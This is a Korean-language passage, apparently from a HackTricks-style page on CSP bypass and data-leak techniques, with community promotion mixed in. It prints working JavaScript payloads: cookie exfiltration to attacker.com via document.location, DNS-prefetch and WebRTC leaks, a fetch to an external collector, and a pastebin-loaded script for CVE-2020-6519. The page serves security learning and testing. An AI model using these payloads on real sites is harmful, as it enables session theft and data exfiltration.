Iframe의 CSP를 csp 속성으로 제한할 수 있습니다:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

이 CTF writeup에서는 HTML 주입을 통해 CSP를 더 제한하여 CSTI를 방지하는 스크립트가 비활성화되어 취약점이 이용 가능해졌습니다.
CSP는 HTML 메타 태그를 사용하여 더 제한적으로 설정할 수 있으며, 인라인 스크립트는 nonce를 허용하는 엔트리제거함으로써 특정 인라인 스크립트를 sha를 통해 활성화할 수 있습니다.

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Content-Security-Policy-Report-Only를 사용한 JS 데이터 유출

만약 서버가 Content-Security-Policy-Report-Only 헤더를 당신이 제어하는 값으로 응답하도록 만들 수 있다면 (아마도 CRLF 때문에), 당신의 서버를 가리키도록 만들 수 있습니다. 그리고 **<script>**로 JS 데이터를 감싸면서 CSP에서 unsafe-inline이 허용되지 않을 확률이 높기 때문에, 이로 인해 CSP 오류가 발생하고 민감한 정보를 포함한 스크립트 일부가 Content-Security-Policy-Report-Only를 통해 서버로 전송될 것입니다.

예시로 이 CTF writeup을 확인하세요.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

CSP와 Iframe을 이용한 정보 누출

  • CSP에서 허용된 URL(예: https://example.redirect.com)을 가리키는 iframe이 생성됩니다.
  • 이 URL은 그런 다음 CSP에서 허용되지 않는 비밀 URL(예: https://usersecret.example2.com)로 리디렉션됩니다.
  • securitypolicyviolation 이벤트를 수신하여 blockedURI 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 나타내며, 초기 URL이 리디렉션된 비밀 도메인을 누출시킵니다.

흥미로운 점은 Chrome과 Firefox와 같은 브라우저가 CSP와 관련하여 Iframe을 처리하는 방식이 다르므로, 정의되지 않은 동작으로 인해 민감한 정보가 누출될 수 있다는 것입니다.

다른 기술은 CSP 자체를 악용하여 비밀 서브도메인을 추론하는 것입니다. 이 방법은 이진 검색 알고리즘과 CSP를 조정하여 일부러 차단된 특정 도메인을 포함하도록 하는 것에 의존합니다. 예를 들어, 비밀 서브도메인이 알 수 없는 문자로 구성된 경우 CSP 지시문을 수정하여 이러한 서브도메인을 차단하거나 허용하도록 하여 서브도메인을 반복적으로 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP를 설정하는 코드 조각입니다:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSP가 차단하거나 허용하는 요청을 모니터링함으로써, 비밀 서브도메인의 가능한 문자를 좁힐 수 있으며, 결국 전체 URL을 알아낼 수 있습니다.

두 가지 방법 모두 CSP 구현과 브라우저 동작의 미묘한 차이를 이용하여, 보안 정책이 민감한 정보를 무심코 유출할 수 있다는 것을 보여줍니다.

여기에서 트릭을 확인하세요.

경험 많은 해커와 버그 바운티 헌터와 소통하려면 HackenProof Discord 서버에 가입하세요!

해킹 인사이트
해킹의 스릴과 도전을 다루는 콘텐츠에 참여하세요.

실시간 해킹 뉴스
실시간 뉴스와 인사이트를 통해 빠르게 변화하는 해킹 세계를 따라가세요.

최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 받아보세요.

**Discord**에 가입하여 최고의 해커들과 협업을 시작하세요!

CSP 우회를 위한 안전하지 않은 기술

PHP 응답 버퍼 과부하

PHP는 기본적으로 응답을 4096바이트까지 버퍼링하는 것으로 알려져 있습니다. 따라서, PHP에서 경고가 표시되는 경우, 경고 내에 충분한 데이터를 제공함으로써 응답이 CSP 헤더보다 먼저 전송되어 헤더가 무시되도록 할 수 있습니다.
그런 다음, 기술은 기본적으로 응답 버퍼를 경고로 채워서 CSP 헤더가 전송되지 않도록 하는 것입니다.

이 writeup에서 아이디어를 얻었습니다.

오류 페이지 재작성

이 writeup에서는 CSP 보호를 우회하기 위해 오류 페이지(잠재적으로 CSP가 없는)를 로드하고 내용을 재작성하는 것이 가능했던 것으로 보입니다.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + 워드프레스

SOME은 페이지의 엔드포인트에서 XSS(또는 매우 제한된 XSS)를 악용하여 동일 출처의 다른 엔드포인트를 악용하는 기술입니다. 이는 취약한 엔드포인트를 공격자 페이지에서 로드한 다음, 공격자 페이지를 실제 악용하려는 동일 출처의 엔드포인트로 새로 고침하여 수행됩니다. 이렇게 하면 취약한 엔드포인트는 페이로드의 opener 객체를 사용하여 악용하려는 실제 엔드포인트의 DOM에 액세스할 수 있습니다. 자세한 정보는 다음을 참조하십시오:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

또한, 워드프레스에는 /wp-json/wp/v2/users/1?_jsonp=data에 JSONP 엔드포인트가 있으며, 이 엔드포인트는 출력에 전송된 데이터반영합니다(글자, 숫자, 점만 허용됨).

공격자는 이 엔드포인트를 악용하여 워드프레스에 대한 SOME 공격을 생성하고 <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> 내에 포함시킬 수 있습니다. 이 스크립트는 'self'에 의해 허용되기 때문에 로드될 것입니다. 또한, 워드프레스가 설치되어 있기 때문에 공격자는 취약한 콜백 엔드포인트를 통해 CSP를 우회하여 사용자에게 더 많은 권한을 부여하거나 새로운 플러그인을 설치하는 등 SOME 공격을 악용할 수 있습니다.
이 공격을 수행하는 방법에 대한 자세한 정보는 https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/을 확인하십시오.

CSP 누출 우회

외부 서버와의 상호작용을 허용하지 않는 엄격한 CSP가 있는 경우, 정보를 누출하기 위해 항상 수행할 수 있는 몇 가지 작업이 있습니다.

Location

단순히 위치를 업데이트하여 비밀 정보를 공격자의 서버로 전송할 수 있습니다:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

메타 태그

메타 태그를 삽입하여 리디렉션을 수행할 수 있습니다 (이는 단순히 리디렉션일 뿐이며, 내용을 노출하지는 않습니다).

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

페이지를 더 빠르게 로드하기 위해 브라우저는 호스트 이름을 IP 주소로 사전 해결하고 나중에 사용하기 위해 캐시에 저장합니다.
브라우저에게 호스트 이름을 사전 해결하도록 지시할 수 있습니다: <link reol="dns-prefetch" href="something.com">

이 동작을 악용하여 DNS 요청을 통해 민감한 정보를 유출할 수 있습니다:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

다른 방법:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

이를 방지하기 위해 서버는 다음과 같은 HTTP 헤더를 전송할 수 있습니다:

X-DNS-Prefetch-Control: off

{% hint style="info" %} 이 기술은 헤드리스 브라우저(봇)에서는 작동하지 않는 것 같습니다. {% endhint %}

WebRTC

여러 페이지에서 WebRTC는 CSP의 connect-src 정책을 확인하지 않는다고 읽을 수 있습니다.

실제로 _DNS 요청_을 사용하여 정보를 _유출_할 수 있습니다. 다음 코드를 확인해보세요:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

다른 옵션:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

온라인으로 CSP 정책 확인하기

자동으로 CSP 생성하기

https://csper.io/docs/generating-content-security-policy

참고 자료

경험 많은 해커와 버그 바운티 헌터들과 소통하려면 HackenProof Discord 서버에 가입하세요!

해킹 통찰력
해킹의 스릴과 도전을 다루는 콘텐츠에 참여하세요.

실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.

최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 최신 정보를 받아보세요.

**Discord**에 가입하여 최고의 해커들과 협업을 시작하세요!

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법: